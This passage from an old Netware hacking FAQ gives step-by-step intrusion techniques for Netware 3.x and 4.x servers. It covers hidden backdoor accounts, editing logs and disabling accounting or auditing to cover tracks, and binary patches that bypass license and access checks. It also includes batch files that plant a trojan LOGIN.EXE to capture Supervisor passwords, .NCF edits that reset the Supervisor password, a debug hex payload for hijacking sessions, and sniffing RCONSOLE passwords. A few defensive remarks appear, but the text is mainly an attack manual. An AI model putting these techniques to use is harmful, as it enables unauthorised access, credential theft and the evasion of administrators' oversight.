+o Give this user full Trustee Rights to their own user object.
+o Give this user full Trustee Rights to the new container.
+o Make this user security equivalent to Admin.
+o Modify the ACL for the new user so they can't be seen.
+o Adjust the Inherit Rights Filter on the new container so no one can
see it.
Now this technique can be used by the paranoid admin that wants to
give another user full access to a container, and this user wants to
restrict access to this container. To prevent this user from
forgetting their password (and making a section of the tree
unmanageable or worse, disappear) an admin will use similiar
techniques.
I have not been able to fully test this but it looks completely
invisible to the average LAN admin. This does require an above average
knowledge of NDS to set up, so most administrators will not even know
how to look for this user.
Let's say you installed your backdoor at the XYZ Company, put your
container inside the MIS container and called it BADBOY. Your backdoor
is named BACKDOOR. Login like this:
LOGIN .BACKDOOR.BADBOY.MIS.XYZ
Now you will show up in the normal tools that show active connections
on a server, so naming your backdoor "BACKDOOR" is probably not a
great idea. Think of a name that might look like an automated
attachment, and only use it when you think you won't be noticed.
If the site has Kane Security Analyst, they can find the backdoor.
It has come to our attention that there is now a tool from Novell
Consutling's called "HOBJLOC"(hidden object locator) which may reveal
the hidden object discussed above.
2211..33.. WWhhaatt iiss tthhee bbiinnddeerryy bbaacckkddoooorr iinn NNeettwwaarree 44..xx??
In developing Pandora, I discovered that the first user object in an
NDS tree is a bindery object called Supervisor. This object gets its
password set during install. To login, simply use the account name
Supervisor. Early versions of DS.NLM do NOT assign a property to this
object to even ALLOW you to set up Intruder Detection! Using the
Intruder utility with Pandora v3.0, you can specifically attack this
user account. Once logged in most administrative tools will not see
it. An administrator cannot delete this account because an
administrator cannot get to this account to delete it from NetAdmin or
NwAdmin.
Bindery context is not required to use this object.
If an administrator creates a regular NDS account called Supervisor,
this will defeat access to this object.
For more information on this, check out
http://www.nmrc.org/pandora/inside.html
<http://www.nmrc.org/pandora/inside.html>.
2211..44.. WWhheerree aarree tthhee ccoommmmoonn lloogg ffiilleess iinn NNeettwwaarree??
There are several. Here is a list with their location and their
purposes:
+o File Server Error Log - This log file is located at
SYS:SYSTEM\SYS$ERR.LOG and is typically written to by the operating
system. It is an ascii text file, and can be written to by anyone
with read/write access to SYS:SYSTEM. It typically contains info
like bindery open and closes, certain NLMs writing info messages,
and of interest to hackers: intruder lockouts, remote console
access attempts (failed or successful), and other security-related
console alerts. Hackers should edit this file if they have hacked
an account with access to SYS:SYSTEM.
+o Volume Error Log - This is a plain text file located on the root of
every volume and is named VOL$LOG.ERR. Hackers should not pay
attention to it unless you are mounting and unmounting volumes and
don't want a record of it. Typically volume errors are written
here.
+o Transaction Tracking Error Log - Transaction Tracking is a method
of backing out data that was being written to the volume and the
server suddenly stopped writing this data (like a crash of the
server). It is plain text, found on the root of any Transaction
Tracking defined volume, and is named TTS$LOG.ERR. Usually only the
SYS volume (and possibly a volume with a SQL database on it, Sybase
comes to mind) is set up for Transaction Tracking. If you're
bouncing the server and wish to cover your tracks, this along with
the other logs needs to be looked at.
+o Console Monitor Log - If a server is running the CONLOG.NLM,
everything that rolls by on the main system console gets written to
a log file. If you think your activities might write info to the
console (especially if you've RCONSOLE'd in and are typing in
commands). You may wish to edit this file. CONLOG.NLM will have to
be unloaded first, as it has an exclusive lock on the log file,
located at SYS:SYSTEM\CONSOLE.LOG.
+o Accounting - If accounting has been turned on on a Netware 3.x
server, all logins and logouts will be time stamped into the
SYS:SYSTEM\NET$ACCT.DAT file. For details on accounting, see the
next couple of questions.
+o Auditing - Auditing in Netware 4.x and greater writes its data to
files located in _NETWARE\*.CAF files. Normally found under SYS:,
the _NETWARE directory is a hidden directory, but it also exists on
other volumes.
2211..55.. WWhhaatt iiss AAccccoouunnttiinngg??
Accounting is Novell's pain in the butt way to control and manage
access to the server in a way that is "accountable". The admin set up
charge rates for blocks read and written, service requests, connect
time, and disk storage. The account "pays" for the service by being
given some number, and the accounting server deduces for these items.
How the account actually pays for these items (departmental billing,
cash, whatever) you may or may not want to know about, but the fact
that it could be installed could leave a footprint that you've been
there.
Any valid account, including non-supe accounts, can check to see if
Accounting is turned on. Simply run SYSCON and try to access
Accounting, if you get a message that Accounting is not installed,
then guess what?
Since it is a pain to administer, many sys admins will turn it on
simply to time-stamp each login and logout, track intruders, and
include the node address and account name of each of these items.
2211..66.. HHooww ddoo II ddeeffeeaatt AAccccoouunnttiinngg??
Turn it off. And spoof your node address. Here's the steps -
+o Spoof your address. Use a supe account's typical node address as
your own.
+o If you are using a backdoor, activate it with SUPER.EXE.
+o Delete Accounting by running SYSCON, selecting Accounting,
Accounting Servers, hitting the delete key, and answering yes when
asked if you wish to delete accounting. The last entry in the
NET$ACCT.DAT file will be your login time-stamped with the spoofed
node address.
+o Now do what you will in the system. Use a different account if you
like, it won't show up in the log file.
+o When done, login with the original account, run SYSCON and re-
install Accounting. Immediately logout, and the next line in the
NET$ACCT.DAT file will be your logout, showing a login and logout
with the same account name, nice and neat.
If you can't spoof the address (some LAN cards don't allow it or
require extra drivers you may not have), just turn off Accounting and
leave it off or delete the NET$ACCT.DAT file located in the SYS:SYSTEM
directory.
It should be noted that to turn off and on Accounting you need supe
equivalent, but you don't need supe equivalence to spoof the address.
2211..77.. WWhhaatt iiss IInnttrruuddeerr DDeetteeccttiioonn??
Intruder Detection is Novell's way of tracking invalid password
attempts. While this feature is turned off by default, most sites
practicing any type of security will at minimum turn this feature on.
There are several parameters to Intruder Detection. First, there is a
setting for how long the server will remember a bad password attempt.
Typically this is set to 30 minutes, but can be as short as 10 minutes
of as long as 7 days. Then there is a setting for how many attempts
will lockout the account. This is usually 3 attempts, but can be as
short as 1 or as many as 7. Finally is the length the account is
locked out. The default is 30 minutes but it can range from 10 minutes
to 7 days.
When an Intruder Detection occurs, the server beeps and a time-stamped
message is displayed on the System Console with the account name that
is now locked out and the node address from where to attempt came
from. This is also written to the File Server Error Log. A Supervisor
or equivalent can unlock the account before it frees itself up, and
the File Server Error Log can also be erased by a Supervisor or
equivalent.
In a large shop, it is not unusual to see Intruder Lockouts even on a
daily basis, and forgetting a password is a typical regular-user thing
to do. Intruder Lockouts on Supervisor or equivalent account is
usually noticed.
2211..88.. HHooww ddoo II cchheecckk ffoorr IInnttrruuddeerr DDeetteeccttiioonn??
The easiest way to check for Intruder Detection is to play with a
valid account that you know the password of. Try the wrong password
several times. If Intruder Detection is on, the account will be locked
out once you try to get back in with the correct password.
2211..99.. WWhhaatt aarree ssttaattiioonn//ttiimmee rreessttrriiccttiioonnss??
Time restrictions can be placed on an account to limit the times in
which an account can be logged in. In the account is already logged in
and the time changes to a restricted time, the account is logged out.
The restriction can be per weekday down to the half hour. That means
that if an admin wants to restrict an account from logging in except
on Monday through Friday from 8-5, it can be done. Only Supervisor and
equivalents can alter time restrictions. Altering the time at the
workstation will not get you around time restrictions, only altering
time at the server can change the ability to access.
Station restriction place a restriction on where an account can be
used. Restrictions can be to a specific token ring or ethernet
segment, and can be specific down to the MAC layer address, or node
address. The only way around a station restriction at the node address
is to spoof the address from a workstation on the same segment or ring
as the address you are spoofing. Like time restrictions, only
Supervisor and equivalents can alter station restrictions.
Of course you can remove station and time restrictions in SYSCON if
you are a Supe equivalent.
2211..1100.. HHooww ccaann II tteellll iiff ssoommeetthhiinngg iiss bbeeiinngg AAuuddiitteedd iinn NNeettwwaarree 44..xx??
Use RCONSOLE and do a directory scan of SYS:_NETWARE. There will be
some binary files named NET$AUDT.* if Auditing has been used. Old
Audit files will be named NET$AUDT.AO0, .AO1, etc. A current Auditing
file will be named NET$AUDT.CAF. If these files do not exist, no
Auditing is being or has been done. To check to see if Auditing is
currently active, try to open the current Auditing file like this:
LOAD EDIT SYS:_NETWARE\NET$AUDT.CAF
If it pulls up something (with a little garbage) then Auditing is
currently turned off. If you get an error stating that NET$AUDT.CAF
doesn't exist and do you wish to create it, that means the file is
being hend open and Auditing is currently active on SOMETHING
(remember, the EDIT.NLM normally handles open files pretty well, but
trying to open a file already open in SYS:_NETWARE always gets this
error).
Also, if the site is running Novell's Web Server software, use a web
browser and try
http://www.target.com/scripts/convert.bas?../../_netware/net$audt.caf
and if you DO NOT receive an error, Auditing is or was active.
2211..1111.. HHooww ccaann II rreemmoovvee AAuuddiittiinngg iiff II lloosstt tthhee AAuuddiitt ppaasssswwoorrdd??
If the Auditor forgets the password, try a simple wipe and reload.
Hello, hello, you seemed to have fainted...
You can try this although there is no guarantee it will work, it is
just a theory. You see, the Auditing files are located in
SYS:_NETWARE. As long as they are there and Auditing active, even
deleting NDS and recreating it will not turn off Auditing. If you wish
you can delete and rebuild SYS: which will get it. Try these listed
items if you are desperate. I have tried them in the NMRC lab and got
this to work a couple of times -- but once I trashed the server and
NDS. One time it didn't work at all. But here it is:
- Use RCONSOLE's directory scan and get the exact names of the Audit
files, you know NET$AUDT.CAF but also files with an extension of .$AF
are Auditing files, too.
- Use the techniques in 06-2 and determine exactly which files are
being held open by this particular server for Auditing.
- Try booting up the server and running a sector editor.
- Search the drive for the file names you found.
- Change all occurrences of these names, save changes, and boot up.
- If that didn't do the trick, try booting up the server using a 3.x
SERVER.EXE and try and get to SYS:_NETWARE that way. Then delete the
Auditing files.
- If THAT doesn't work, use repeated calls to the SYS:_NETWARE's
directory table (using the APIs) and either delete or change the
afore mentioned files.
Gee, maybe a "simple wipe and reload" is easier...
2211..1122.. WWhhaatt iiss iinntteerreessttiinngg aabboouutt NNeettwwaarree 44..xx''ss lliicceennssiinngg??
It is possible to load multiple licenses and combine their total
number of users. For example, if you are in one of those Novell CNE
classes where they give you a 2 user 4.1 license, you can get
everyone's CD in class and combine them on one server. If you get 10
CDs you have a 20 user license. I know of no limit to the maximum
number of licenses and user limit, except for hardware limitations
supporting it. This means you could load more than one copy of 1000
user Netware 4.1 on a server (assuming you have unique copies, not the
same copy twice).
itsme has done some poking around with his tools, and has the
following to say regarding the SERVER.EXE that comes with Netware 4:
what's inside server.exe:
0001d7c7 server.nlm type=07
000d319d "Link" 000d504a
000d31a5 unicode.nlm type=00 (ordinary NLM)
000d504a "Link" 000d6e9c
000d5052 dsloader.nlm type=00 (ordinary NLM)
000d6e9c "Link" 000db808
000d6ea4 timesync.nlm type=00 (ordinary NLM)
000db808 polimgr.nlm type=0c ('hidden' NLM)
by editing the binary of server, and changing the type of polimgr.nlm
from 0c to 00 (offset 007a or 000db882 in server.exe)
it becomes unhidden.
hidden NLM's are protected from debugging with the netware debugger.
polimgr.nlm manages the license files, after it reads the file,
it checks with some kind of signature function whether it is a valid file
the function doing the checking can be made to always return OK, then
you can create an any number of users license.
2211..1133.. WWhhaatt iiss tthhee WWoorrdd PPeerrffeecctt 55..11 ttrriicckk wwhheenn rruunnnniinngg NNeettwwaarree 33..xx
oovveerr DDOOSS??
It has been noted that when running Netware 3.x, specifically 3.12,
over DOS, no windows at all, and you start Word Perfect version 5.1,
enter a last name, then hit F5, you get access to the entire disk.
NMRC is investigating and will keep you posted as to our results.
2222.. NNeettwwaarree MMiisscc.. AAttttaacckk IInnffoo
This section has miscellaneous information regarding hacking and
Netware.
2222..11.. HHooww ddoo II ssppooooff mmyy nnooddee oorr IIPP aaddddrreessss??
This will depend greatly on what kind of network interface card (NIC)
the workstation has, as to whether you can perform this function.
Typically you can do it in the Link Driver section of the NET.CFG file
by adding the following line - NODE ADDRESS xxxxxxxxxxxx where
xxxxxxxxxxxx is the 12 digit MAC layer address. This assumes you are
using Netware's ODI drivers, if you are using NDIS drivers you will
have to add the line to a PROTOCOL.INI or IBMENII.NIF file, which
usually has the lines already in it.
Getting the target node address should be pretty easy. Login with any
account and do a USERLIST /A. This will list all accounts currently
logged in with their network and node address. If your workstation is
on the same network as the target, you can spoof the address no
problem. Actually you can spoof the address regardless but to defeat
station restrictions you must be on the same network.
For an IP address, you may have to run a TCPIP config program to make
it work (it depends on whose IP stack you are running). Some
implementations will have the mask, the default router and the IP
address in the NET.CFG, some in the TCPIP.CFG. It is a good idea to
look around in all network- related subdirectories to see if there are
any .CFG, .INI, or .NIF files that may contain addresses.
Forging the IP address is quite tricky, and many people have written
to me asking for specific tips. Since there are a number of different
IP implementations this is rather impractical. However here are a few
important items to remember:
+o Most utilities that configure the IP address DO use an INI, CFG or
NIF file of some type. Look for those files.
+o As workstation software becomes more complex, I have found that
often the IP address is written in more than one place. You must
get it in all of places it has been written. For example if you are
running multiple protocols on one card, you may have to update
several different config files including NET.CFG.
+o If the IP address you are trying to spoof is up and active, it is
possible that you won't get anything to work at all, or it will be
difficult. In large companies there is usually some monitoring to
detect duplicate IP addresses. Netview is one example of a product
that can be configured to look for this.
+o A company may have a class 2 address, and may have dozens of class
3 subnets. If your subnet is 100.100.100.x and your default router
is 100.100.100.254, trying to spoof 100.100.200.10 probably will
not work very well.
2222..22.. HHooww ccaann II sseeee hhiiddddeenn ffiilleess aanndd ddiirreeccttoorriieess??
Instead of a normal DIR command, use NDIR to see hidden files and
directories. NDIR *.* /S /H will show you just Hidden and System
files.
2222..33.. HHooww ddoo II ddeeffeeaatt tthhee eexxeeccuuttee--oonnllyy ffllaagg??
If a file is flagged as execute-only, it can still be opened. Open the
file with a program that will read in executables, and do a Save As to
another location.
Also try X-AWAY.EXE to remove this flag since Novell's FLAG.EXE won't.
But once again X-AWAY.EXE requires Supervisor access.
To disable the check for Supe access in X-AWAY, try the following:
REN X-AWAY.EXE WORK
DEBUG WORK
EB84 EB
W
Q
REN WORK X-AWAY.EXE
Hey presto, anybody can copy X flagged files. The only catch is you
need practically full rights in the directory where the X flagged file
resides.
2222..44.. HHooww ccaann II hhiiddee mmyy pprreesseennccee aafftteerr aalltteerriinngg ffiilleess??
The best way is to use Filer. Here are the steps for removing file
alterations -
+o Run Filer or use NDIR and note the attributes of the target file,
namely the date and owner of the file.
+o Make your changes or access the file.
+o Run Filer or use NDIR and check to see if the attributes have
changed. If so, change them back to the original settings.
While you can hit F1 will in Filer and get all the context-sensitive
help you need, the quicky way to get where you're going is to run
Filer in the target file's directory, select Directory Contents,
highlight the target file and hit enter, select File Options and then
View/Set File Information. View and edit to your heart's desire.
2222..55.. WWhhaatt iiss aa NNeettwwaarree--aawwaarree ttrroojjaann??
A Netware-aware trojan is a program that supposedly does one thing but
does another instead, and does it using Netware API calls. I have
never personally encountered one, but here is how they would work.
+o Trojan program is placed on a workstation, hopefully on one
frequented by admins with Supe rights. The trojan program could be
named something like CHKVOL.COM or VOLINFO.COM, that is a real name
but with a .COM extension. They would be placed in the
workstation's path.
+o Once executed, the trojan uses API calls to determine if the person
is logged in as a Supe equivalent, if not it goes to the next step.
Otherwise some type of action to breach security is performed.
+o The real CHKVOL.EXE or VOLINFO.EXE is ran.
The breach of security would typically be some type of command-line
activity that could be performed by system() calls. For example,
PROP.EXE could be run to build a property and the replacement
LOGIN.EXE copied up to the server in the SYS:LOGIN directory. Or RW
access granted to the SYS:SYSTEM directory for a non-Supe user like
GUEST.
Once activated the trojan could also erase itself since it is no
longer needed.
2222..66.. WWhhaatt aarree TTrruusstteeee DDiirreeccttoorryy AAssssiiggnnmmeennttss??
The LAN God has pointed out quite correctly that Trustee Directory
Assignments are the most misunderstood and misconfigured portion of
Novell Netware. Typically a secure site should have Read and File Scan
only in most directories, and should not have any rights on the root
directory of any volume. Rights assigned via the Trustee Directory
Assignments filter down the directory tree, so if a user has Write
access at the root directory, that user has Write access in every
subdirectory below it (unless explicitly limited in a subdirectory
down stream). And these assignments are not located in the bindery,
but on each volume.
The following is a brief description of Trustees and Trustee Directory
Assignments cut and pasted from the comp.os.netware.security FAQ:
[quote] A trustee is any user or group that has been granted access
rights in a directory.
The access rights in Novell NetWare 2 are slightly different from the
ones in NetWare 3.
The following is a summary of access rights for NetWare 3.
S - Supervisory. Any user with supervisory rights in a directory will
automatically inherit all other rights, regardless of whether they
have been explicitly granted or not. Supervisor equivalent accounts
will hold this access right in every directory.
R - Read. Enables users to read files.
C - Create. Enables users to create files and directories. Unless they
also have write access, they will not be able to edit files which have
been created.
W - Write. Enables users to make changes to files. Unless they also
have create access, they may not be able to edit files, since the
write operation can only be used to extend files (not truncate them,
which file editors need to do).
E - Erase. Enable users to erase files and remove directories.
M - Modify. Enable users to modify file attributes.
F - File scan. Enables users to see file and directory information. If
a user does not have file scan rights, they will not see any evidence
of such files existing.
A - Access control. Enable user to change trustee rights. They will be
able to add other users as trustees, remove trustees, and grant/revoke
specific rights from users. The only caveat of access control is that
it is possible for users to remove themselves (as trustees) from
directories, thus losing all access control.
In addition to trustees and access rights, there is a concept of
inherited rights which means that users inherit rights from parent
directories. For example, if user ALICE has rights [CWEM] in a
directory, and she has [RF] rights in the parent directory then she
will have [RCWEMF] rights as a result of the inherited rights. This
will only work if one of the rights that ALICE has in the two
directories is granted to a group; if both are granted to her, she
will lose the rights of the parent. [end quote]
2222..77.. AArree tthheerree aannyy ddeeffaauulltt TTrruusstteeee AAssssiiggnnmmeennttss tthhaatt ccaann bbee
eexxppllooiitteedd??
Two ways. In 3.x the group EVERYONE has Create rights in SYS:MAIL.
This means the user (including GUEST) has the ability to write files
to any subdirectory in SYS:MAIL. The first versions of Netware
included a simple e-mail package, and every user that is created gets
a subdirectory in mail with RCWEMF, named after their object ID
number. One consistent number is the number 1, which is always
assigned to Supervisor. Here's one way to exploit it:
Trick #1
--------
- Login as GUEST and change to the SYS:MAIL subdirectory.
- Type DIR. You will see one subdirectory, the one owned by GUEST. Change into that
directory (ex. here is C0003043)
- Type DIR. If there is no file named LOGIN, you can bet there may not be one for
Supervisor. If there is a default-looking LOGIN file, even a zero length file, you
cannot proceed.
- Copy PROP.EXE and LOGIN.EXE (the itsme version) to SYS:MAIL\C0003043
- Create a batch file (ex. here is BOMB.BAT) with the following entries:
@ECHO OFF
FLAG \LOGIN\LOGIN.EXE N > NUL
COPY \MAIL\C0003043\LOGIN.EXE \LOGIN\LOGIN.EXE > NUL
FLAG \LOGIN\LOGIN.EXE SRO > NUL
\MAIL\C0003043\PROP -C > NUL
- Create a LOGIN file with the following entries:
MAP DISPLAY OFF
MAP ERRORS OFF
MAP G:=SYS:
DRIVE G:
COMMAND /C #\MAIL\1\BOMB
DRIVE F:
MAP DELETE G:
- Now copy the files to the Supervisor's SYS:MAIL directory from a drive mapped to
the SYS: volume.
TYPE BOMB.BAT > \MAIL\1\BOMB.BAT
TYPE LOGIN > \MAIL\1\LOGIN
- The next time the Supervisor logs in the LOGIN.EXE is replaced and the PROP.EXE
file is run, capturing passwords. Run PROP.EXE later to get the passwords, and
then once you have all the passwords you need (including Supervisor) delete your
LOGIN and BOMB.BAT file.
Admins can defeat this by creating default personal Login Scripts or
by adding an EXIT command to the end of the System Login Script. Later
versions of Netware create a zero-length LOGIN file at ID creation
time in the SYS:MAIL directories to defeat this.
Trick #2
--------
Pegasus mail has a hole that ties into the Create rights in SYS:MAIL. Here's how
to use it:
- Create a RULES.PMQ file that sets up a rule to execute a file after receipt of a
mail message. The program Run line should be something like:
COMMAND /C F:\MAIL\1\BOMB.BAT
- Let's say your mail directory is SYS:MAIL\C0003043. Copy PROP.EXE and LOGIN.EXE
(the itsme version) to that directory.
- Your BOMB.BAT file should be like this:
@ECHO OFF
FLAG \LOGIN\LOGIN.EXE N > NUL
COPY \MAIL\C0003043\LOGIN.EXE \LOGIN\LOGIN.EXE > NUL
FLAG \LOGIN\LOGIN.EXE SRO > NUL
\MAIL\C0003043\PROP -C > NUL
- When the Supe reads his mail, the replacement LOGIN.EXE is active and capturing
passwords. After acquiring a Supe equiv account, delete the rogue files from
SYS:MAIL\1
This Pegasus mail problem will only work if the RULES.PMQ does not
exist in the target directory.
Trick #2a
---------
If the RULES.PMQ file exists, obviously you cannot do this. After all, you can
only create new files to these directories. But here's a way to try and trick
the Supe into deleting it for you:
- Create a bunch of extra rules for Pegasus. Name them RULEA.PMQ through
RULER.PMQ, and RULET.PMQ through RULEZ.PMQ.
- Next time the Supe logs in and accesses mail, errors.
- The Supe deletes RULE?.PMQ to fix the problem, and RULES.PMQ is also removed.
- Now do Trick #2
2222..88.. WWhhaatt aarree ssoommee ggeenneerraall wwaayyss ttoo eexxppllooiitt TTrruusstteeee RRiigghhttss??
To find out all your trustee rights, use the WHOAMI /R command. The
following section is a summary of what rights to expect, and the
purpose. Where x appears, it means it doesn't matter if the right is
set.
[SRWCEMFA] means you have FULL rights. They are all eight of the effective
rights flags.
[Sxxxxxxx] shouldn't appear unless you are supervisor (or equivalent).
It means you have full access in that directory and all subdirectories.
You cannot be excluded from any directory, even if a user explicitly
tries to revoke your access in a subdirectory.
[xxxxxxxA] is next best thing to the S right. It means you have access
control in that directory and all subdirectories. You can have your
access control (along with any other rights) revoked in a subdirectory,
but you can always use inherited rights to recover them (see the
c.o.n.s FAQ).
[ R F ] is what users should have in directories containing software.
You have the right to read files only.
[ RCWEMFx] is what users should have in their home directory. You can read,
create, and edit files. If you find any unusual directories with
these rights, they can also be used for storing files (maybe an abuse
of the network, especially if this is exploited to avoid quota
systems).
[ RxW F ] usually means that the directory is used for keeping log files.
Unless you have the C right, it may not be possible to edit files in
this directory.
The RIGHTS commands tells you what rights you have in a particular
directory. GRANT, REVOKE, and REMOVE are used to set trustee rights.
2222..99.. CCaann aacccceessss ttoo ..NNCCFF ffiilleess hheellpp mmee??
Access to any .NCF file can bypass security, as these files are
traditionally run from the console and assume the security access of
the console. The addition of a few lines to any .NCF file can get you
access to that system.
The most vulnerable file would be the AUTOEXEC.NCF file. Adding a
couple of lines to run BURGLAR.NLM or SETPWD.NLM would certainly get
you access. But remember there are other .NCF files that can be used
and exploited. For example, ASTART.NCF and ASTOP.NCF are used to start
and stop Arcserve, the most popular backup system for Netware. The
LDREMOTE.NCF as mentioned in section 04-2 is another potential target.
The lines you might add to such a file might be as follows:
UNLOAD CONLOG
LOAD SETPWD SUPERVISOR SECRET
CLS
LOAD CONLOG
This assumes you had read/write access to the location of the .NCF
file and can copy SETPWD.NLM to the server. Note that by unloading
CONLOG you are only partially covering your tracks, in the CONSOLE.LOG
file it will be obvious that CONLOG was unloaded and reloaded. The CLS
is to keep your activities off of the server's screen.
The best .NCF for this is obviously one that is either used during the
server's boot process or during some automated process. This way a
short .NCF and its activities may escape the eyes of an admin during
execution.
2222..1100.. CCaann ssoommeeoonnee tthhiinnkk tthheeyy''vvee llooggggeedd oouutt aanndd II wwaallkk uupp aanndd ttaakkee
oovveerr??
Yes. Here's how -
Type the following commands at the DOS prompt (or rip them out of this
file, and feed them into DOS debug).
debug boo.com
e100 eb 2b 80 fc d7 74 22 3d 02 f1 74 1d 3d 19 f2 74
e110 18 3d 17 f2 74 0a 3d 17 f2 74 05 ea 5b 46 4d 5d
e120 50 b0 d2 38 45 02 58 75 f2 f8 ca 02 00 b4 49 8e
e130 06 2c 00 cd 21 b8 21 35 cd 21 89 1e 1c 01 8c 06
e140 1e 01 b8 21 25 ba 02 01 cd 21 ba 2d 01 cd 27 00
rcx
50
w
q
Just run it on a workstation running NetWare 2.x or 3.x, and wait for
someone to login, use the machine, logout, and walk away. Oops. They
forgot to logout? Now, isn't that just *bad* luck...
Moral: If you are using a public network (such as a school or
university), don't just use LOGOUT. Switch the machine OFF.
2222..1111.. WWhhaatt ootthheerr NNoovveellll aanndd tthhiirrdd ppaarrttyy pprrooggrraammss hhaavvee hhoolleess tthhaatt
ggiivvee ""ttoooo mmuucchh aacccceessss""??
Netware NFS has several bugs, as does IntraNetware.
For remote access, hackers always want a Shiva hooked up. You see, if
a hacker gets a name from the internal name list, they may not need a
user ID and password for a Novell server. If a Shiva user disconnects
without logging out, the next person in will be in as that person --
Shiva doesn't drop the connection!
2222..1122.. HHooww ccaann II ggeett aarroouunndd ddiisskk ssppaaccee rreeqquuiirreemmeennttss??
Some admins forget to implement disk space restrictions on some
volumes, but give write access to everyone. This allows you to use
more resources than the supe intended.
Some systems keep user's home directories on one volume, and only
restrict disk space on that one volume. Applications and system files
will be kept on other volumes. Since some applications require write
access to their directories, if the volume space is not limited, any
user capable of running the program can use the extra disk space
available (an e-mail program like Microsoft Mail on it's own volume
leaps to mind). If space isn't limited on SYS, on 3.x there is the
SYS:MAIL\xxxxxxxx directory (where xxxxxxxx is your bindery object
ID), but this is not there by default in 4.x. However if Pegasus mail
is being used, or if the server was migrated from 3.x to 4.x, the
directory structure and access may be the same.
2222..1133.. HHooww ddoo II rreemmootteellyy rreebboooott aa NNeettwwaarree 33..xx ffiillee sseerrvveerr??
If you have access to a server via RCONSOLE it may come in handy after
loading or unloading an NLM to reboot a server. Build an NCF file by
doing the following steps -
- Create a file called DOWNBOY.NCF on your local drive. It should be a text file
and contain the following lines:
REMOVE DOS
DOWN
EXIT
- Copy up the file to the SYS:SYSTEM directory using RCONSOLE.
- At the System Console prompt, type DOWNBOY and enter.
What happens is this - the REMOVE DOS statement frees up the DOS
section in server RAM, the server is downed (if there are open files,
you will be given one of those "are you sure" messages, answer Y for
yes), and the EXIT command tries to return the server console to DOS.
But since you removed DOS from RAM, the server is warm booted.
2222..1144.. WWhhaatt iiss NNeettwwaarree NNFFSS aanndd iiss iitt sseeccuurree??
NFS (Networked File System) is used primarily in Unix to remotely
mount a different file system. Its primary purpose in Netware is to
allow the server to mount a Unix file system as a Netware volume,
allowing Netware users access to Unix data without running IP or
logging into the server, and Unix users to mount a Netware volume as a
remote file system. If the rights are set up incorrectly you can gain
access to a server.
While the product works as described, it is a little hard to
administer, as user accounts on both sides must be in sync (name and
password) and it can be a fairly manual process to ensure that they
are, unless the versions are Netware NFS 2.1 or greater with Netware
4.x AND the Unix side is NOT running NIS. Simply adding the proper UID
to the NDS object to create a relationship for rights to be passed
back and forth. There are three modes -- Unix is God, Netware is God,
or both are right.
A reported problem with Netware NFS is that after unloading and
reloading using the .NCF files, a system mount from the Unix side
includes SYS:ETC read only access. If this directory can be looked at
from the Unix side after a mount, .NCF and .CFG files could be viewed
and their information exploited. For example, SYS:ETC is a possible
location of LDREMOTE.NCF, which could include the RCONSOLE password.
On Netware 3.11 if you ask the portmapper for an NFS handle it will
give you one. When you give NFS the file handle it will check its
LOCAL portmapper and then grant the request. You can then read any
file on the mount you just made.
Netware NFS' existence on a server says you have some Unix boxes
around somewhere, which may be of interest as another potential system
to gain access to.
2222..1155.. CCaann ssnniiffffiinngg ppaacckkeettss hheellpp mmee bbrreeaakk iinnttoo NNeettwwaarree sseerrvveerrss??
Yes. If a user is logging in and the password is being transmitted to
the server unencrypted, it will show up as plain text in the trace. If
the site uses telnet and ftp, capturing those password will come in
handy. Outside of gaining access to another system, many users will
make their passwords the same across all systems.
RCONSOLE.EXE is the client-launched application that provides a remote
server console to a Novell Netware file server. The connection between
client and server allows administrators to manage servers as if they
were at the physical server console from their desks, and allow
virtually any action that would be performed at the server console to
be performed remotely, including execution of console commands,
uploading of files to the server, and the unloading and loading of
Netware Loadable Modules (NLMs). It is not only an effective tool for
administrators, it is a prime target for hackers.
A critical point of access to many servers is the actual physical
console. This is one of the main reasons why physical security of the
server is so important and stressed by security conscious
administrators. On many systems you have a level of access with little
to no security. Netware is no exception.
The main reason to hack RCONSOLE is to gain access to the Netware
server console. No, you aren't physically there, but the OS doesn't
know any different. And the main reason to gain access to the Netware
server console is to utilize a tool to gain Supervisor access to the
Netware server.
During the RCONSOLE process, the password does come across the wire
encrypted. If you look at the conversation you will see packets
containing the RCONSOLE.EXE being opened, the possible servers to be
accessed, etc. This conversation is nothing but NCP packets.
Once RCONSOLE is up on the workstation, the user chooses the server,
hits enter, and is prompted for a password. After entering the
password, the conversation contains two 60 byte IPX/SPX packets going
back and forth followed by 4 NCP packets, 64 bytes, 60 bytes, 64
bytes, and 310 bytes in length respectively. The next IPX/SPX packet,
186 bytes in length, contains the password. It is located at offset
3Ah, which is easy to find. Offset 38h is always FE and offset 39h is
always FF.
Now comes the use of a tool called RCON.EXE from itsme that can take
some of the information you have collected and turn it into the
password. What you need are the first 8 hex bytes starting at offset
3Ah, the network address, and the node address. Now the network and
node address are in the header of the packet that contains the
encrypted password, but can also get these by typing USERLIST /A which
returns this info (and more) for each person logged in.
Now why just the first 8 hex bytes? That's all Novell uses. Great
encryption scheme, huh?
2222..1166.. WWhhaatt eellssee ccaann ssnniiffffiinngg aarroouunndd NNeettwwaarree ggeett mmee??
It has pointed out that RCONSOLE sends screens in plaintext across the
network for all to see (well, all with sniffers). This means you can
see what is being typed in and what is happening on the screen. While
it is not the prettiest stuff to look at, occassional gems are
available. The best gem? The RCONSOLE password. The server had been
brought up without REMOTE and RSPX being loaded, they were loaded by
hand at the console after the server was brought up. The first
RCONSOLE session brought up the screen with the lines LOAD REMOTE and
LOAD RSPX PASSWORD (with PASSWORD being the RCONSOLE password), and
this was being sent to the RCONSOLE user's workstation in plaintext.
Teiwaz discovered that SYSCON sends password changes in plaintext.
While SETPASS, LOGIN, MAP, and ATTACH all encrypt the password in 3.x,
SYSCON does not.
Einer kindly reminded me that sniffing will show other usernames and
passwords such as TELNET, FTP, POP3, and others. Often users use the
same passwords from system to system, so these passwords could be used
to try on the Netware accounts. In large shops, the administrators of
Netware may also have the same passwords for privileged accounts from
system to system, so the Admin or Supervisor account may match the
root account on a Unix box. Therefore a TELNET session that contains
an su to root might reveil the Admin password.
2222..1177.. DDoo aannyy NNeettwwaarree uuttiilliittiieess hhaavvee hhoolleess lliikkee UUnniixx uuttiilliittiieess??
This is a fairly common question, inspired by stack overrun errors,
sendmail bugs, and the like that exist in the Unix world. The reason
you do not have these kind of exploits in common Netware utilities is
because:
+o You use a proprietary shell that can be loaded without accessing
the server, therefore no shell exploits exist.
+o Virtually all Netware utilities do NOT use stdin and stdout, so no
stack overruns that exploit anything.
+o Since the shell is run locally, not on the server, you have no way
to use a utility to gain greater access than you have been granted,
like a SUID script in Unix.
+o Yes there are utilities like HACK.EXE that grant extra access under
certain conditions in 3.11, but no Novell-produced utility comes
close to granting extra access.
